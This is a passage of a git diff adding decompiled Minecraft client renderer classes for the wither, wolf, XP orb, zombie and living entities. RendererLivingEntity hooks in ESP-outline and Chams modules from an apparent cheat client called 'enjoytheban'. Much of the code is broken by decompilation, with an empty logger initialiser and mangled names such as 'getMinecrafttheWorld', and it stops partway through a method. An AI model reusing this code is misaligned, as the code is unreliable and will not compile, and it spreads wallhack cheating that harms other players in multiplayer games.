+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180590_a((EntityWitch)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntityWitch)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180590_a((EntityWitch)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180589_a((EntityWitch)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180590_a((EntityWitch)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderWither.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderWither.java
new file mode 100644
index 0000000..fecf33b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderWither.java
@@ -0,0 +1,102 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelWither;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerWitherAura;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.BossStatus;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderWither extends RenderLiving
+{
+  private static final ResourceLocation invulnerableWitherTextures = new ResourceLocation("textures/entity/wither/wither_invulnerable.png");
+  private static final ResourceLocation witherTextures = new ResourceLocation("textures/entity/wither/wither.png");
+  private static final String __OBFID = "CL_00001034";
+  
+  public RenderWither(RenderManager p_i46130_1_)
+  {
+    super(p_i46130_1_, new ModelWither(0.0F), 1.0F);
+    addLayer(new LayerWitherAura(this));
+  }
+  
+  public void func_180591_a(EntityWither p_180591_1_, double p_180591_2_, double p_180591_4_, double p_180591_6_, float p_180591_8_, float p_180591_9_)
+  {
+    BossStatus.setBossStatus(p_180591_1_, true);
+    super.doRender(p_180591_1_, p_180591_2_, p_180591_4_, p_180591_6_, p_180591_8_, p_180591_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityWither p_110775_1_)
+  {
+    int var2 = p_110775_1_.getInvulTime();
+    return (var2 > 0) && ((var2 > 80) || (var2 / 5 % 2 != 1)) ? invulnerableWitherTextures : witherTextures;
+  }
+  
+  protected void func_180592_a(EntityWither p_180592_1_, float p_180592_2_)
+  {
+    float var3 = 2.0F;
+    int var4 = p_180592_1_.getInvulTime();
+    
+    if (var4 > 0)
+    {
+      var3 -= (var4 - p_180592_2_) / 220.0F * 0.5F;
+    }
+    
+    GlStateManager.scale(var3, var3, var3);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180591_a((EntityWither)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    func_180592_a((EntityWither)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180591_a((EntityWither)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityWither)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180591_a((EntityWither)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderWolf.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderWolf.java
new file mode 100644
index 0000000..410f0d1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderWolf.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerWolfCollar;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderWolf extends RenderLiving
+{
+  private static final ResourceLocation wolfTextures = new ResourceLocation("textures/entity/wolf/wolf.png");
+  private static final ResourceLocation tamedWolfTextures = new ResourceLocation("textures/entity/wolf/wolf_tame.png");
+  private static final ResourceLocation anrgyWolfTextures = new ResourceLocation("textures/entity/wolf/wolf_angry.png");
+  private static final String __OBFID = "CL_00001036";
+  
+  public RenderWolf(RenderManager p_i46128_1_, ModelBase p_i46128_2_, float p_i46128_3_)
+  {
+    super(p_i46128_1_, p_i46128_2_, p_i46128_3_);
+    addLayer(new LayerWolfCollar(this));
+  }
+  
+  protected float func_180593_a(EntityWolf p_180593_1_, float p_180593_2_)
+  {
+    return p_180593_1_.getTailRotation();
+  }
+  
+  public void func_177135_a(EntityWolf p_177135_1_, double p_177135_2_, double p_177135_4_, double p_177135_6_, float p_177135_8_, float p_177135_9_)
+  {
+    if (p_177135_1_.isWolfWet())
+    {
+      float var10 = p_177135_1_.getBrightness(p_177135_9_) * p_177135_1_.getShadingWhileWet(p_177135_9_);
+      GlStateManager.color(var10, var10, var10);
+    }
+    
+    super.doRender(p_177135_1_, p_177135_2_, p_177135_4_, p_177135_6_, p_177135_8_, p_177135_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityWolf p_110775_1_)
+  {
+    return p_110775_1_.isAngry() ? anrgyWolfTextures : p_110775_1_.isTamed() ? tamedWolfTextures : wolfTextures;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177135_a((EntityWolf)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected float handleRotationFloat(EntityLivingBase p_77044_1_, float p_77044_2_)
+  {
+    return func_180593_a((EntityWolf)p_77044_1_, p_77044_2_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177135_a((EntityWolf)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityWolf)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177135_a((EntityWolf)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderXPOrb.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderXPOrb.java
new file mode 100644
index 0000000..f25363e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderXPOrb.java
@@ -0,0 +1,110 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.CustomColors;
+
+public class RenderXPOrb extends Render
+{
+  private static final ResourceLocation experienceOrbTextures = new ResourceLocation("textures/entity/experience_orb.png");
+  private static final String __OBFID = "CL_00000993";
+  
+  public RenderXPOrb(RenderManager p_i46178_1_)
+  {
+    super(p_i46178_1_);
+    shadowSize = 0.15F;
+    shadowOpaque = 0.75F;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityXPOrb p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_, (float)p_76986_6_);
+    bindEntityTexture(p_76986_1_);
+    int var10 = p_76986_1_.getTextureByXP();
+    float var11 = (var10 % 4 * 16 + 0) / 64.0F;
+    float var12 = (var10 % 4 * 16 + 16) / 64.0F;
+    float var13 = (var10 / 4 * 16 + 0) / 64.0F;
+    float var14 = (var10 / 4 * 16 + 16) / 64.0F;
+    float var15 = 1.0F;
+    float var16 = 0.5F;
+    float var17 = 0.25F;
+    int var18 = p_76986_1_.getBrightnessForRender(p_76986_9_);
+    int var19 = var18 % 65536;
+    int var20 = var18 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var19 / 1.0F, var20 / 1.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    float var27 = 255.0F;
+    float var28 = (xpColor + p_76986_9_) / 2.0F;
+    var20 = (int)((MathHelper.sin(var28 + 0.0F) + 1.0F) * 0.5F * var27);
+    int var21 = (int)var27;
+    int var22 = (int)((MathHelper.sin(var28 + 4.1887903F) + 1.0F) * 0.1F * var27);
+    int var23 = var20 << 16 | var21 << 8 | var22;
+    GlStateManager.rotate(180.0F - renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+    float var24 = 0.3F;
+    GlStateManager.scale(var24, var24, var24);
+    Tessellator var25 = Tessellator.getInstance();
+    WorldRenderer var26 = var25.getWorldRenderer();
+    var26.startDrawingQuads();
+    
+    if (Config.isCustomColors())
+    {
+      int col = CustomColors.getXpOrbColor(var27);
+      
+      if (col >= 0)
+      {
+        var23 = col;
+      }
+    }
+    
+    var26.func_178974_a(var23, 128);
+    var26.func_178980_d(0.0F, 1.0F, 0.0F);
+    var26.addVertexWithUV(0.0F - var16, 0.0F - var17, 0.0D, var11, var14);
+    var26.addVertexWithUV(var15 - var16, 0.0F - var17, 0.0D, var12, var14);
+    var26.addVertexWithUV(var15 - var16, 1.0F - var17, 0.0D, var12, var13);
+    var26.addVertexWithUV(0.0F - var16, 1.0F - var17, 0.0D, var11, var13);
+    var25.draw();
+    GlStateManager.disableBlend();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation getTexture(EntityXPOrb p_180555_1_)
+  {
+    return experienceOrbTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getTexture((EntityXPOrb)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityXPOrb)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderZombie.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderZombie.java
new file mode 100644
index 0000000..a700eea
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderZombie.java
@@ -0,0 +1,149 @@
+package net.minecraft.client.renderer.entity;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.model.ModelZombie;
+import net.minecraft.client.model.ModelZombieVillager;
+import net.minecraft.client.renderer.entity.layers.LayerBipedArmor;
+import net.minecraft.client.renderer.entity.layers.LayerCustomHead;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.client.renderer.entity.layers.LayerRenderer;
+import net.minecraft.client.renderer.entity.layers.LayerVillagerArmor;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderZombie extends RenderBiped
+{
+  private static final ResourceLocation zombieTextures = new ResourceLocation("textures/entity/zombie/zombie.png");
+  private static final ResourceLocation zombieVillagerTextures = new ResourceLocation("textures/entity/zombie/zombie_villager.png");
+  private final ModelBiped field_82434_o;
+  private final ModelZombieVillager zombieVillagerModel;
+  private final List field_177121_n;
+  private final List field_177122_o;
+  private static final String __OBFID = "CL_00001037";
+  
+  public RenderZombie(RenderManager p_i46127_1_)
+  {
+    super(p_i46127_1_, new ModelZombie(), 0.5F, 1.0F);
+    LayerRenderer var2 = (LayerRenderer)field_177097_h.get(0);
+    field_82434_o = modelBipedMain;
+    zombieVillagerModel = new ModelZombieVillager();
+    addLayer(new LayerHeldItem(this));
+    LayerBipedArmor var3 = new LayerBipedArmor(this)
+    {
+      private static final String __OBFID = "CL_00002429";
+      
+      protected void func_177177_a() {
+        field_177189_c = new ModelZombie(0.5F, true);
+        field_177186_d = new ModelZombie(1.0F, true);
+      }
+    };
+    addLayer(var3);
+    field_177122_o = Lists.newArrayList(field_177097_h);
+    
+    if ((var2 instanceof LayerCustomHead))
+    {
+      func_177089_b(var2);
+      addLayer(new LayerCustomHead(zombieVillagerModel.bipedHead));
+    }
+    
+    func_177089_b(var3);
+    addLayer(new LayerVillagerArmor(this));
+    field_177121_n = Lists.newArrayList(field_177097_h);
+  }
+  
+  public void func_180579_a(EntityZombie p_180579_1_, double p_180579_2_, double p_180579_4_, double p_180579_6_, float p_180579_8_, float p_180579_9_)
+  {
+    func_82427_a(p_180579_1_);
+    super.doRender(p_180579_1_, p_180579_2_, p_180579_4_, p_180579_6_, p_180579_8_, p_180579_9_);
+  }
+  
+  protected ResourceLocation func_180578_a(EntityZombie p_180578_1_)
+  {
+    return p_180578_1_.isVillager() ? zombieVillagerTextures : zombieTextures;
+  }
+  
+  private void func_82427_a(EntityZombie p_82427_1_)
+  {
+    if (p_82427_1_.isVillager())
+    {
+      mainModel = zombieVillagerModel;
+      field_177097_h = field_177121_n;
+    }
+    else
+    {
+      mainModel = field_82434_o;
+      field_177097_h = field_177122_o;
+    }
+    
+    modelBipedMain = ((ModelBiped)mainModel);
+  }
+  
+  protected void rotateCorpse(EntityZombie p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    if (p_77043_1_.isConverting())
+    {
+      p_77043_3_ += (float)(Math.cos(ticksExisted * 3.25D) * 3.141592653589793D * 0.25D);
+    }
+    
+    super.rotateCorpse(p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityLiving p_110775_1_)
+  {
+    return func_180578_a((EntityZombie)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180579_a((EntityZombie)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    rotateCorpse((EntityZombie)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180579_a((EntityZombie)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180578_a((EntityZombie)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180579_a((EntityZombie)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RendererLivingEntity.java b/src/minecraft/net/minecraft/client/renderer/entity/RendererLivingEntity.java
new file mode 100644
index 0000000..b977eca
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RendererLivingEntity.java
@@ -0,0 +1,758 @@
+package net.minecraft.client.renderer.entity;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.modules.render.Chams;
+import com.enjoytheban.module.modules.render.Chams.ChamsMode;
+import com.enjoytheban.module.modules.render.ESP;
+import com.enjoytheban.module.modules.render.ESP.ESPMode;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.render.OutlineUtils;
+import com.enjoytheban.utils.render.RenderUtil;
+import java.nio.FloatBuffer;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.layers.LayerRenderer;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EnumPlayerModelParts;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.scoreboard.Team.EnumVisible;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import optifine.Config;
+import optifine.Reflector;
+import optifine.ReflectorConstructor;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.EXTFramebufferObject;
+import org.lwjgl.opengl.GL11;
+import shadersmod.client.Shaders;
+
+public abstract class RendererLivingEntity extends Render
+{
+  private static final Logger logger = ;
+  private static final DynamicTexture field_177096_e = new DynamicTexture(16, 16);
+  protected ModelBase mainModel;
+  protected FloatBuffer field_177095_g = net.minecraft.client.renderer.GLAllocation.createDirectFloatBuffer(4);
+  protected List field_177097_h = com.google.common.collect.Lists.newArrayList();
+  protected boolean field_177098_i = false;
+  private static final String __OBFID = "CL_00001012";
+  public static float NAME_TAG_RANGE = 64.0F;
+  public static float NAME_TAG_RANGE_SNEAK = 32.0F;
+  public static boolean renderLayer;
+  
+  public RendererLivingEntity(RenderManager p_i46156_1_, ModelBase p_i46156_2_, float p_i46156_3_) {
+    super(p_i46156_1_);
+    renderLayer = true;
+    mainModel = p_i46156_2_;
+    shadowSize = p_i46156_3_;
+  }
+  
+  public boolean addLayer(LayerRenderer p_177094_1_) {
+    return field_177097_h.add(p_177094_1_);
+  }
+  
+  protected boolean func_177089_b(LayerRenderer p_177089_1_) {
+    return field_177097_h.remove(p_177089_1_);
+  }
+  
+  public ModelBase getMainModel() {
+    return mainModel;
+  }
+  
+
+
+
+
+
+
+
+  protected float interpolateRotation(float p_77034_1_, float p_77034_2_, float p_77034_3_)
+  {
+    for (float var4 = p_77034_2_ - p_77034_1_; var4 < -180.0F; var4 += 360.0F) {}
+    
+
+
+    while (var4 >= 180.0F) {
+      var4 -= 360.0F;
+    }
+    
+    return p_77034_1_ + p_77034_3_ * var4;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    if (Reflector.RenderLivingEvent_Pre_Constructor.exists())
+    {
+      if (Reflector.postForgeBusEvent(Reflector.RenderLivingEvent_Pre_Constructor, new Object[] { p_76986_1_, this, Double.valueOf(p_76986_2_), Double.valueOf(p_76986_4_), Double.valueOf(p_76986_6_) })) {}
+    } else { GlStateManager.pushMatrix();
+      GlStateManager.disableCull();
+      mainModel.swingProgress = getSwingProgress(p_76986_1_, p_76986_9_);
+      mainModel.isRiding = p_76986_1_.isRiding();
+      
+      if (Reflector.ForgeEntity_shouldRiderSit.exists()) {
+        mainModel.isRiding = ((p_76986_1_.isRiding()) && (ridingEntity != null) && 
+          (Reflector.callBoolean(ridingEntity, Reflector.ForgeEntity_shouldRiderSit, new Object[0])));
+      }
+      
+      mainModel.isChild = p_76986_1_.isChild();
+      try
+      {
+        float var19 = interpolateRotation(prevRenderYawOffset, renderYawOffset, 
+          p_76986_9_);
+        float var11 = interpolateRotation(prevRotationYawHead, rotationYawHead, 
+          p_76986_9_);
+        float var12 = var11 - var19;
+        
+
+        if ((mainModel.isRiding) && ((ridingEntity instanceof EntityLivingBase))) {
+          EntityLivingBase var20 = (EntityLivingBase)ridingEntity;
+          var19 = interpolateRotation(prevRenderYawOffset, renderYawOffset, p_76986_9_);
+          var12 = var11 - var19;
+          float var14 = MathHelper.wrapAngleTo180_float(var12);
+          
+          if (var14 < -85.0F) {
+            var14 = -85.0F;
+          }
+          
+          if (var14 >= 85.0F) {
+            var14 = 85.0F;
+          }
+          
+          var19 = var11 - var14;
+          
+          if (var14 * var14 > 2500.0F) {
+            var19 += var14 * 0.2F;
+          }
+        }
+        
+        float var201 = prevRotationPitch + 
+          (rotationPitch - prevRotationPitch) * p_76986_9_;
+        renderLivingAt(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_);
+        float var14 = handleRotationFloat(p_76986_1_, p_76986_9_);
+        rotateCorpse(p_76986_1_, var14, var19, p_76986_9_);
+        GlStateManager.enableRescaleNormal();
+        GlStateManager.scale(-1.0F, -1.0F, 1.0F);
+        preRenderCallback(p_76986_1_, p_76986_9_);
+        float var15 = 0.0625F;
+        GlStateManager.translate(0.0F, -1.5078125F, 0.0F);
+        float var16 = prevLimbSwingAmount + 
+          (limbSwingAmount - prevLimbSwingAmount) * p_76986_9_;
+        float var17 = limbSwing - limbSwingAmount * (1.0F - p_76986_9_);
+        
+        if (p_76986_1_.isChild()) {
+          var17 *= 3.0F;
+        }
+        
+        if (var16 > 1.0F) {
+          var16 = 1.0F;
+        }
+        
+        GlStateManager.enableAlpha();
+        mainModel.setLivingAnimations(p_76986_1_, var17, var16, p_76986_9_);
+        mainModel.setRotationAngles(var17, var16, var14, var12, var201, 0.0625F, p_76986_1_);
+        
+        ESP esp = (ESP)Client.instance.getModuleManager().getModuleByClass(ESP.class);
+        if ((mode.getValue() == ESP.ESPMode.Outline) && (esp.isEnabled())) {
+          GlStateManager.depthMask(true);
+          if ((!(p_76986_1_ instanceof EntityPlayer)) || (!((EntityPlayer)p_76986_1_).func_175149_v())) {
+            func_177093_a(p_76986_1_, var17, var16, p_76986_9_, var14, var12, var201, var15);
+          }
+          
+          if ((p_76986_1_ instanceof EntityPlayer)) {
+            if (getMinecrafttheWorld != null) {
+              renderModel(p_76986_1_, var17, var16, var14, var12, var201, var15);
+              OutlineUtils.renderOne();
+              renderModel(p_76986_1_, var17, var16, var14, var12, var201, var15);
+              OutlineUtils.renderTwo();
+              renderModel(p_76986_1_, var17, var16, var14, var12, var201, var15);
+              OutlineUtils.renderThree();
+              OutlineUtils.renderFour();
+              renderModel(p_76986_1_, var17, var16, var14, var12, var201, var15);
+              OutlineUtils.renderFive();
+            }
+          } else {
+            renderModel(p_76986_1_, var17, var16, var14, var12, var201, var15);
+          }
+        } else {
+          renderModel(p_76986_1_, var17, var16, var14, var12, var201, var15);
+        }
+        
+
+
+        if (field_177098_i) {
+          boolean var18 = func_177088_c(p_76986_1_);
+          GL11.glPushMatrix();
+          
+
+
+
+          GL11.glPopMatrix();
+          renderModel(p_76986_1_, var17, var16, var14, var12, var201, 0.0625F);
+          
+          if (var18) {
+            func_180565_e();
+          }
+        } else {
+          boolean var18 = func_177090_c(p_76986_1_, p_76986_9_);
+          renderModel(p_76986_1_, var17, var16, var14, var12, var201, 0.0625F);
+          
+          if (var18) {
+            func_177091_f();
+          }
+          
+          GlStateManager.depthMask(true);
+          
+          if ((!(p_76986_1_ instanceof EntityPlayer)) || (!((EntityPlayer)p_76986_1_).func_175149_v())) {
+            func_177093_a(p_76986_1_, var17, var16, p_76986_9_, var14, var12, var201, 0.0625F);
+          }
+        }
+        
+        GlStateManager.disableRescaleNormal();
+      } catch (Exception var191) {
+        logger.error("Couldn't render entity", var191);
+      }
+      
+      GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+      GlStateManager.func_179098_w();
+      GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+      GlStateManager.enableCull();
+      GlStateManager.popMatrix();
+      
+      if (!field_177098_i) {
+        super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+      }
+      
+      if (Reflector.RenderLivingEvent_Post_Constructor.exists())
+      {
+        if (Reflector.postForgeBusEvent(Reflector.RenderLivingEvent_Post_Constructor, new Object[] { p_76986_1_, this, Double.valueOf(p_76986_2_), Double.valueOf(p_76986_4_), Double.valueOf(p_76986_6_) })) {}
+      }
+    }
+  }
+  
+  public static void checkSetupFBO()
+  {
+    Framebuffer fbo = Minecraft.getMinecraft().getFramebuffer();
+    if ((fbo != null) && (depthBuffer > -1)) {
+      setupFBO(fbo);
+      depthBuffer = -1;
+    }
+  }
+  
+  public static void setupFBO(Framebuffer fbo) {
+    EXTFramebufferObject.glDeleteRenderbuffersEXT(depthBuffer);
+    int stencil_depth_buffer_ID = EXTFramebufferObject.glGenRenderbuffersEXT();
+    EXTFramebufferObject.glBindRenderbufferEXT(36161, stencil_depth_buffer_ID);
+    EXTFramebufferObject.glRenderbufferStorageEXT(36161, 34041, getMinecraftdisplayWidth, 
+      getMinecraftdisplayHeight);
+    EXTFramebufferObject.glFramebufferRenderbufferEXT(36160, 36128, 36161, stencil_depth_buffer_ID);
+    EXTFramebufferObject.glFramebufferRenderbufferEXT(36160, 36096, 36161, stencil_depth_buffer_ID);
+  }
+  
+  protected boolean func_177088_c(EntityLivingBase p_177088_1_) {
+    int var2 = 16777215;
+    
+    if ((p_177088_1_ instanceof EntityPlayer)) {
+      ScorePlayerTeam var6 = (ScorePlayerTeam)p_177088_1_.getTeam();
+      
+      if (var6 != null) {
+        String var7 = FontRenderer.getFormatFromString(var6.getColorPrefix());
+        
+        if (var7.length() >= 2) {
+          var2 = getFontRendererFromRenderManager().func_175064_b(var7.charAt(1));
+        }
+      }
+    }
+    
+    float var61 = (var2 >> 16 & 0xFF) / 255.0F;
+    float var71 = (var2 >> 8 & 0xFF) / 255.0F;
+    float var5 = (var2 & 0xFF) / 255.0F;
+    GlStateManager.disableLighting();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    GlStateManager.color(var61, var71, var5, 1.0F);
+    GlStateManager.func_179090_x();
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GlStateManager.func_179090_x();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    return true;
+  }
+  
+  protected void func_180565_e() {
+    GlStateManager.enableLighting();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    GlStateManager.func_179098_w();
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GlStateManager.func_179098_w();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+  }
+  
+
+
+
+  protected void renderModel(EntityLivingBase p_77036_1_, float p_77036_2_, float p_77036_3_, float p_77036_4_, float p_77036_5_, float p_77036_6_, float p_77036_7_)
+  {
+    boolean var8 = !p_77036_1_.isInvisible();
+    boolean var9 = (!var8) && (!p_77036_1_.isInvisibleToPlayer(getMinecraftthePlayer));
+    
+    if ((var8) || (var9)) {
+      if (!bindEntityTexture(p_77036_1_)) {
+        return;
+      }
+      
+      if (var9) {
+        GlStateManager.pushMatrix();
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 0.15F);
+        GlStateManager.depthMask(false);
+        GlStateManager.enableBlend();
+        GlStateManager.blendFunc(770, 771);
+        GlStateManager.alphaFunc(516, 0.003921569F);
+      }
+      
+
+      Chams chams = (Chams)Client.instance.getModuleManager().getModuleByClass(Chams.class);
